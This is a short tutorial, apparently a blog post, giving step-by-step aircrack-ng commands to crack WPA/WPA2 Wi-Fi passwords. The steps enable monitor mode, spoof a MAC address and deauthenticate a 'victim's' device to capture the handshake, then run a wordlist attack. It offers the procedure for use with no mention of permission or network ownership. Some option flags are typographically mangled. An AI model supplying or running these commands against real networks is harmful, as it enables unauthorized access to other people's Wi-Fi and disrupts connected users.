How to crack WPA/WPA 2 with aircrack-ng (Backtrack 5)

What you need

• Backtrack (or Linux with aircrack-ng installed)
• Virtual machine (e.g. Vmware or Virtualbox)
• Password list
• USB Wifi adapter capable of promiscuous mode: Alfa AWUS036H

Alright, fire up the terminal.

Commands

1. airmon-ng
2. airmon-ng start wlan0
3. ifconfig mon0 down
4. macchanger -m 00:11:22:33:44:55 mon0
5. ifconfig mon0 up
6. airodump-ng mon0 (let it scan for a minute)
7. CTRL + C (stop)
8. airodump-ng -c (channel) -w (filename. eg. wpa) —bssid (xx:xx:xx:xx:xx:xx) mon0

 Now, we need to deauthenticate a user's pc currently on the network (mac)

1. open another console
2. aireplay-ng --deauth 1 (just one!) -e (ESSID) -c  (victim's mac) mon0
3. Wait for WPA handshake ==> airodump-ng
4. —-all cracking can be done offline—-
5. aircrack-ng -w (wordlist) file (eg. WPA-01.cap)
• this is the file from step 8

Note: Success of attack depends on whether your word-list contains the password or not.

Video

Any problems? Ask!